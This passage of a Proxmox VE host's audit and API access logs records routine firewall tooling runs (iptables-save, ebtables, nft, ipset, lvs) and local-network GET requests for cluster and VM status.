exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965795918,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965795.918:67146): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64489 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966055303,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966055.303:68264): arch=c000003e syscall=59 success=yes exit=0 a0=6539739020a0 a1=6539738fee20 a2=6539738e0680 a3=5 items=2 ppid=65552 pid=65558 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964445159,"@rawstring":"node=pve type=EXECVE msg=audit(1781964445.159:61049): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965277869,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:21:16 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1108"} {"@timestamp":1781964564861,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964564.861:61547): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59081 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966055219,"@rawstring":"node=pve type=EXECVE msg=audit(1781966055.219:68250): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965242285,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965242.285:64767): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62220 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965795909,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965795.909:67145): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64488 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966055301,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966055.301:68263): arch=c000003e syscall=59 success=yes exit=0 a0=65396aa80ac8 a1=7ffd52727890 a2=6539738e0680 a3=65396aa6424e items=2 ppid=65552 pid=65554 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964445156,"@rawstring":"node=pve type=EXECVE msg=audit(1781964445.156:61048): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965276759,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:21:15 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 508"} {"@timestamp":1781964564854,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964564.854:61545): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59080 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966055225,"@rawstring":"node=pve type=EXECVE msg=audit(1781966055.225:68249): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965242285,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965242.285:64766): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62220 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965795899,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965795.899:67144): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64487 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966055299,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966055.299:68262): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd52727850 a1=6539738e7310 a2=6539738e0680 a3=5 items=2 ppid=65552 pid=65553 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964445155,"@rawstring":"node=pve type=EXECVE msg=audit(1781964445.155:61047): argc=1 a0=\"date\""} {"@timestamp":1781965276759,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:15 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 925"} {"@timestamp":1781964564854,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964564.854:61544): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59080 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966055217,"@rawstring":"node=pve type=EXECVE msg=audit(1781966055.217:68246): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965237279,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965237.279:64761): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62214 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965795891,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965795.891:67143): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64486 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966055294,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966055.294:68260): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=65552 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964445151,"@rawstring":"node=pve type=EXECVE msg=audit(1781964445.151:61045): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965276759,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:15 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964559842,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964559.842:61540): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59075 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966055213,"@rawstring":"node=pve type=EXECVE msg=audit(1781966055.213:68243): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965237279,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965237.279:64760): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62214 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965795888,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965795.888:67142): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=6540b272b740 items=0 ppid=1156 pid=64485 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781966055286,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966055.286:68259): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65551 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964445145,"@rawstring":"node=pve type=EXECVE msg=audit(1781964445.145:61044): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965276759,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:15 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 500"} {"@timestamp":1781964559842,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964559.842:61539): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59075 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966055205,"@rawstring":"node=pve type=EXECVE msg=audit(1781966055.205:68242): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965237272,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965237.272:64758): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62213 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965795885,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965795.885:67141): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc135e30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64485 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781966055278,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966055.278:68258): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65550 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964445138,"@rawstring":"node=pve type=EXECVE msg=audit(1781964445.138:61043): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965274642,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:21:13 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1117"} {"@timestamp":1781964559832,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964559.832:61537): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59074 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966055193,"@rawstring":"node=pve type=EXECVE msg=audit(1781966055.193:68241): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965237272,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965237.272:64757): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62213 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965795879,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965795.879:67140): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc14a680 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64484 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966055270,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966055.270:68257): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65549 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964445133,"@rawstring":"node=pve type=EXECVE msg=audit(1781964445.133:61042): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965274642,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:13 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 922"} {"@timestamp":1781964559832,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964559.832:61536): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59074 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966055189,"@rawstring":"node=pve type=EXECVE msg=audit(1781966055.189:68240): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965235664,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965235.664:64753): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe893cf3b0 a1=5dc6b2c5d360 a2=5dc6b2c56680 a3=5 items=1 ppid=62206 pid=62207 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965795873,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965795.873:67139): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc13b550 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64483 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966055261,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966055.261:68256): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65548 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964445126,"@rawstring":"node=pve type=EXECVE msg=audit(1781964445.126:61041): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965274642,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:13 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1117"} {"@timestamp":1781964555700,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964555.700:61532): arch=c000003e syscall=59 success=no exit=-2 a0=7ffdb2a6fae0 a1=63d57db41310 a2=63d57db3a680 a3=5 items=1 ppid=59067 pid=59068 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966055184,"@rawstring":"node=pve type=EXECVE msg=audit(1781966055.184:68239): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965235534,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965235.534:64735): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe08ba2730 a1=61d81aa673d0 a2=61d81aa45680 a3=5 items=1 ppid=62187 pid=62188 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965795866,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965795.866:67138): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc1470f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64482 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966055256,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966055.256:68255): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5d04badad740 items=0 ppid=1156 pid=65547 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781964445119,"@rawstring":"node=pve type=EXECVE msg=audit(1781964445.119:61040): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965272735,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:21:12 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 508"} {"@timestamp":1781964555620,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964555.620:61514): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe59b08f30 a1=60471a625180 a2=60471a603680 a3=5 items=1 ppid=59048 pid=59049 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966055182,"@rawstring":"node=pve type=EXECVE msg=audit(1781966055.182:68238): argc=1 a0=\"date\""} {"@timestamp":1781965232261,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965232.261:64725): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62177 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965795860,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965795.860:67137): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13b550 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64481 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966055253,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966055.253:68254): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0ed1e0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65547 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781964444393,"@rawstring":"node=pve type=EXECVE msg=audit(1781964444.393:61039): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965272735,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:11 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 926"} {"@timestamp":1781964554823,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964554.823:61506): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59042 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966055176,"@rawstring":"node=pve type=EXECVE msg=audit(1781966055.176:68236): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965232261,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965232.261:64724): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62177 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965795854,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965795.854:67136): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ace4a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64480 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966055247,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966055.247:68253): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc1392d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65546 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964444385,"@rawstring":"node=pve type=EXECVE msg=audit(1781964444.385:61036): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965272735,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:11 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964554823,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964554.823:61505): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59042 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966055168,"@rawstring":"node=pve type=EXECVE msg=audit(1781966055.168:68235): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965232252,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965232.252:64722): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62176 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965795846,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965795.846:67135): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64479 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966055242,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966055.242:68252): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc148d80 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65545 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964444320,"@rawstring":"node=pve type=EXECVE msg=audit(1781964444.320:61033): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965272735,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:11 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 508"} {"@timestamp":1781964554812,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964554.812:61503): 